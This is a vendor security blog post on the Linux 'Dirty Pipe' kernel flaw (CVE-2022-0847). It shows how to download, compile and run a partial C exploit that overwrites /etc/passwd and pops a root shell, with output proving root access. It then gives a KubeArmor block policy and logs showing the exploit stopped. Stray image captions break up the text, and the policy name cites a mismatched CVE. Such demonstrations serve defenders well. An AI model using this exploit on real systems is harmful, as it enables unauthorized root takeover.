Introduction

Another local privilege escalation bug in the Linux kernel was recently discovered. Local unprivileged users can utilize an easily exploitable vulnerability in the Linux kernel (CVE-2022-0847), often known as dirty pipe, to get root capabilities on compromised systems by using publicly available exploits.  

In this blog post, we will show how this attack works and how to defend against it using AccuKnox open-source.

To know more check out the CVE-2022-0847

Technical summary of CVE-2022-0847

Before we get into the technical specifics, there are a few terms we should be aware of.

Pipe: A pipe is nothing more than a method for one application to deliver data to another.

Page splicing: A performance hack that allows you to combine data from various pipe pages without having to rewrite it to memory.

Combined pipe page caches are overwritten and are considered to be easily exploitable in Linux kernel memory management. This vulnerability was first discovered in Linux 5.8 when it became possible to combine and rewrite data in a pipe's page cache, according to the disclosure report. AppArmor and Seccomp are important for keeping systems safe, but they do not prevent this vulnerability from being exploited.

Once the attacker has gained access to the victim's computer, he can get root access and take total control of the system. Further, we will see about deploying the pod and testing the exploit, and block access to shell access.

Affected Kernel Versions:

  • 5.8
  • 5.10.96
  • 5.16.10

Environment Setup in K8’s

We'll use a Ubuntu 20.04 image to test and exploit, with all of the deployment files coming from the accuknox/samples GitHub repository.

Connect to your GKE and then deploy the ubuntu pod. To do that Just copy and paste the following commands into your terminal.

kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/dirtypipe-vulnerability/deployment.yaml

deployment.apps/ubuntu-dirtypipe created

kubectl get pods

NAME                      READY   STATUS    RESTARTS   AGE
ubuntu-dirtypipe-648679579d-2z9n9   1/1     Running     0 
Kubect1 apply

Now execute into the pod and download the exploit code.

kubectl exec -it <pod-name> -- bash
kubectl exec -it ubuntu-dirtypipe-648679579d-2z9n9 -- bash
wget 
Exploit code
https://raw.githubusercontent.com/accuknox/samples/main/dirtypipe-vulnerability/shell-root.c
Exploit code 1

Exploit code execution

We can call this exploit file shell-root.c and the code for it is below.

c
       fprintf(stderr, "Sorry, cannot write across a page boundary\n");
       return EXIT_FAILURE;
   }
   const int fd = open(path, O_RDONLY); // yes, read-only! :-)
   if (fd < 0) {
       perror("open failed");
       return EXIT_FAILURE;
   }
 
   struct stat st;
   if (fstat(fd, &st)) {
       perror("stat failed");
       return EXIT_FAILURE;
   }
   if (offset > st.st_size) {
       fprintf(stderr, "Offset is not inside the file\n");
       return EXIT_FAILURE;
   }
   if (end_offset > st.st_size) {
       fprintf(stderr, "Sorry, cannot enlarge the file\n");
       return EXIT_FAILURE;
   }
   int p[2];
   prepare_pipe(p);
   --offset;
   ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
   if (nbytes < 0) {
       perror("splice failed");
       return EXIT_FAILURE;
   }
shell-root.c
  if (nbytes == 0) {
       fprintf(stderr, "short splice\n");
       return EXIT_FAILURE;
   }
   nbytes = write(p[1], data, data_size);
   if (nbytes < 0) {
       perror("write failed");
       return EXIT_FAILURE;
   }
   if ((size_t)nbytes < data_size) {
       fprintf(stderr, "short write\n");
       return EXIT_FAILURE;
   }
 
   char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
               "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
               "cp /tmp/passwd.bak /etc/passwd;"
               "echo \\\"Done! Popping shell... (run commands now)\\\";"
               "/bin/sh;"
           "\" root"};
       execv("/bin/sh", argv);
 
       printf("system() function call seems to have failed :(\n");
   return EXIT_SUCCESS;
}
shell-root.c 2

The exploit overwrites an executable with SUID rights, i.e., one that can execute as the superuser. The exploit substitutes the original executable with a shell, executes it to establish a SUID shell in /tmp, and then leaves the original executable alone.

Now use gcc to build and run the exploit code.

Check out the accuknox-samples directory to see the exploit and deployment files.

https://raw.githubusercontent.com/accuknox/samples/main/dirtypipe-vulnerability/shell-root.c

#id
uid=1000(demo) gid=1000(demo) groups=1000(demo)
#vi etc/shadow 

gcc shell-root.c -o exploit
./exploit
[+] popping root shell..
#id 
uid=0(root) gid=0(root) groups=0(root)


#whoami
root

#cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
Deployment file
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

#/bin/bash -i
[email protected]:
Deployment file 2

We were able to acquire root access successfully. Attackers may now use this to steal sensitive information, change passwords, and do a variety of malicious activities.

Mitigation Options

When it comes to mitigating vulnerabilities, defenders have a number of alternatives. Each must be weighed against the severity of the impact and danger to the business, as well as time and complexity, cost, and the chance of unforeseen consequences.

AccuKnox provides robust and efficient runtime security threat mitigation.

Under the policy-template repo, we have policies for almost all CVEs that you can use to secure your workloads..
step #1 Clone the policy template repository. You can do that by simply copy-pasting the following command into your terminal to get started.

git clone https://github.com/kubearmor/policy-templates.git

Step #2 Apply the policy

kubectl apply -f /policy-templates/cve/system

It will generate policies as a result of this operation. So, in a nutshell, the cve directory provides patches for recently discovered vulnerabilities for different workloads.

KubeArmor Security Policy

KubeArmor is a runtime security platform that can help enterprises safeguard their workloads by limiting process spawning, limiting file system access, and limiting pods capabilities, among other things. KubeArmor has a visibility option that lets you view what's going on within the pods, such as what processes are running, what file access attempts are being made, and so on.

This policy will block all the dependencies run by the exploit and stop the shell access. KubeArmor sends you real-time alerts and logs tagged with the right labels.

KubeArmor will protect cloud workloads and virtual machines. To understand more about what we do, go to  AccuKnox

# KubeArmor is an open-source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit:
# https://www.accuknox.com/kubearmor/

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: ksp-block-dirtypipe-cve-2019-19844
spec:
  tags: ["Linux", "CVE", "VM", "CVE-2022-0847", "root-access", "write-access","read-only-file"]
  message: "Alert! Root Access is Blocked."
  selector:
    matchLabels:
Kubearmor
      app : ubuntu #change label app: ubuntu to match your requirement
  file:
    severity: 2
    matchPaths:
      - path: /tmp/passwd.bak 
      - path: /etc/passwd
    action: Block
  process:
    severity: 2
    matchPaths:
      - path: /bin/sh
      - path: /tmp/sh
    action: Block
Kubearmor policy

Let us apply the policy.  Execute the below command in your terminal.

Kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/cve/system/ksp-block-dirtypipe-cve-2019-19844.yaml

kubearmorpolicy.security.kubearmor.com/ksp-dirtypipe-cve-2019-19844 created
Execute command

Once the policy is applied, let us again run the exploit. As you can see, we've been able to prevent shell access. More policies can be found in the policy-template github source.

./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Failed to open /etc/passwd
Policy template

Simply copy-paste the following command into your terminal to check for logs.

karmor log --json
gRPC server: localhost:32767
Created a gRPC client (localhost:32767)
Checked the liveness of the gRPC server
Started to watch alerts
{
  "Timestamp": 1647346229,
  "UpdatedTime": "2022-03-15T12:10:29.021649Z",
  "ClusterName": "default",
  "HostName": "gke-cys-mar15-default-pool-1873ed27-rg9g",
  "NamespaceName": "default",
  "PodName": "ubuntu-dirtypipe-5c7df8b768-vf2cw",
  "ContainerID": "a1bf0ff32f0a34a9c14a6b9a6c2569eb9139d063c0c34cc273b0e540c1c27e0e",
  "ContainerName": "ubuntu-dirtypipe",
  "HostPID": 23573,
  "PPID": 34,
  "PID": 42,
  "UID": 1000,
  "PolicyName": "ksp-dirtypipe-cve-2019-19844",
  "Severity": "2",
  "Tags": "Linux,CVE,VM,CVE-2022-0847,root-access,write-access,read-only-file",
  "Message": "Alert! Root Access is Blocked.",
  "Type": "MatchedPolicy",
  "Source": "./exploit",
  "Operation": "File",
  "Resource": "/tmp/passwd.bak",
  "Data": "syscall=SYS_OPENAT fd=-100
Command1
flags=O_WRONLY|O_CREAT|O_TRUNC",
  "Action": "Block",
  "Result": "Permission denied",
  "ContainerImage": "docker.io/knoxuser/ubuntu20.04:[email protected]:fb63bcc97e3839219c8a5a5d69b066848bb0c89ba87a4ead8f11d1068a8d1b04"
}
Command 2

Conclusion

As we've seen, this flaw allows attackers to rewrite any file on the system and escalate their privileges in system and cloud infrastructure by using persistence. Linux users all across the world should maintain their systems up to date.

AccuKnox can now defend your workloads in minutes utilizing Kernel Native Primitives like AppArmor, SELinux, and eBPF, and it's accessible for Kubernetes and other cloud workloads.

Please let us know if you want any extra assistance in developing your cloud security strategy.

More blogs in the Cloud Security category can be found here

KubeArmor website: https://www.accuknox.com/kubearmor/

KubeArmor GitHub: https://github.com/kubearmor/KubeArmor

KubeArmor Slack: https://kubearmor.herokuapp.com/